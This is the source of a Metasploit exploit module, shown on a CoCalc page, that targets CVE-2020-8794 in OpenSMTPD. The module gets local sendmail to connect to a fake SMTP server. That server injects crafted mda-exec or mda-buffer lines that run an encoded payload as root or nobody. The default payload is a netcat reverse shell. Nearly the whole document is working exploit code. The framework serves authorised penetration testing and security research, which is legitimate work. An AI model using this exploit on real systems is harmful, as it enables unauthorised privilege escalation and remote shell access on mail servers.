CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
8
# smtpd(8) may crash on a malformed message
9
Rank = AverageRanking
10
11
prepend Msf::Exploit::Remote::AutoCheck
12
include Msf::Exploit::Remote::TcpServer
13
include Msf::Exploit::Remote::Expect
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
20
'Description' => %q{
21
This module exploits an out-of-bounds read of an attacker-controlled
22
string in OpenSMTPD's MTA implementation to execute a command as the
23
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
24
},
25
'Author' => [
26
'Qualys', # Discovery and PoC
27
'wvu' # Module
28
],
29
'References' => [
30
['CVE', '2020-8794'],
31
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
32
],
33
'DisclosureDate' => '2020-02-24',
34
'License' => MSF_LICENSE,
35
'Platform' => 'unix',
36
'Arch' => ARCH_CMD,
37
'Privileged' => true, # NOTE: Only when exploiting new grammar
38
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
39
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
40
'Targets' => [
41
[
42
'OpenSMTPD < 6.6.4 (automatic grammar selection)',
43
{
44
patched_version: Rex::Version.new('6.6.4'),
45
new_grammar_version: Rex::Version.new('6.4.0')
46
}
47
]
48
],
49
'DefaultTarget' => 0,
50
'DefaultOptions' => {
51
'SRVPORT' => 25,
52
'PAYLOAD' => 'cmd/unix/reverse_netcat',
53
'WfsDelay' => 60 # May take a little while for mail to process
54
},
55
'Notes' => {
56
'Stability' => [CRASH_SERVICE_DOWN],
57
'Reliability' => [REPEATABLE_SESSION],
58
'SideEffects' => [IOC_IN_LOGS]
59
}
60
)
61
)
62
63
register_advanced_options([
64
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
65
])
66
67
# HACK: We need to run check in order to determine a grammar to use
68
options.remove_option('AutoCheck')
69
end
70
71
def srvhost_addr
72
Rex::Socket.source_address(session.session_host)
73
end
74
75
def rcpt_to
76
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
77
end
78
79
def check
80
smtpd_help = cmd_exec('smtpd -h')
81
82
if smtpd_help.empty?
83
return CheckCode::Unknown('smtpd(8) help could not be displayed.')
84
end
85
86
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
87
88
unless version
89
return CheckCode::Unknown('OpenSMTPD version could not be found.')
90
end
91
92
version = Rex::Version.new(version)
93
94
if version < target[:patched_version]
95
if version >= target[:new_grammar_version]
96
vprint_status("OpenSMTPD #{version} is using new grammar")
97
@grammar = :new
98
else
99
vprint_status("OpenSMTPD #{version} is using old grammar")
100
@grammar = :old
101
end
102
103
return CheckCode::Appears(
104
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."
105
)
106
end
107
108
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")
109
end
110
111
def exploit
112
start_service
113
114
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
115
116
print_status("Executing local sendmail(8) command: #{sendmail}")
117
if cmd_exec(sendmail) != 'true'
118
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
119
end
120
end
121
122
def on_client_connect(client)
123
print_status("Client #{client.peerhost}:#{client.peerport} connected")
124
125
# Brilliant work, Qualys!
126
case @grammar
127
when :new
128
print_status('Exploiting new OpenSMTPD grammar for a root shell')
129
130
yeet = <<~EOF
131
553-
132
553
133
134
dispatcher: local_mail
135
type: mda
136
mda-user: root
137
mda-exec: #{payload.encoded}; exit 0\x00
138
EOF
139
when :old
140
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
141
142
yeet = <<~EOF
143
553-
144
553
145
146
type: mda
147
mda-method: mda
148
mda-usertable: <getpwnam>
149
mda-user: nobody
150
mda-buffer: #{payload.encoded}; exit 0\x00
151
EOF
152
else
153
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
154
end
155
156
sploit = {
157
'220' => /EHLO /,
158
'250' => /MAIL FROM:<[^>]/,
159
yeet => nil
160
}
161
162
print_status('Faking SMTP server and sending exploit')
163
sploit.each do |line, pattern|
164
send_expect(
165
line,
166
pattern,
167
sock: client,
168
newline: "\r\n",
169
timeout: datastore['ExpectTimeout']
170
)
171
end
172
rescue Timeout::Error => e
173
fail_with(Failure::TimeoutExpired, e.message)
174
ensure
175
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
176
client.close
177
end
178
179
def on_client_close(client)
180
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
181
end
182
183
end
184
185